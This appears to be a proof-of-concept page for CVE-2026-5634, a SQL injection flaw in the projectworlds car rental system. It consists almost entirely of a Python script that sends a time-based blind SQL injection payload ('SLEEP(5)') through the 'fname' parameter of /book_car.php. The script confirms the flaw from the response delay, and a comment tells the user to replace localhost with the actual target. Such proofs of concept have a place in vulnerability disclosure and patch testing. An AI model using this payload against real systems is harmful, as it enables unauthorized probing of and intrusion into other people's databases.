CVE-2026-5634: projectworlds汽车租赁系统SQL注入漏洞

import requests def check_sqli(target_url): # Vulnerable parameter identified in /book_car.php params = { "fname": "test' AND (SELECT SLEEP(5))-- -", # Time-based blind SQL injection payload "submit": "submit" } try: print(f"[+] Sending payload to {target_url}/book_car.php") response = requests.get(target_url + "/book_car.php", params=params, timeout=10) # Check if the response time indicates a successful delay if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed: SQL Injection detected via 'fname' parameter.") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[Error] Connection failed: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target check_sqli(target)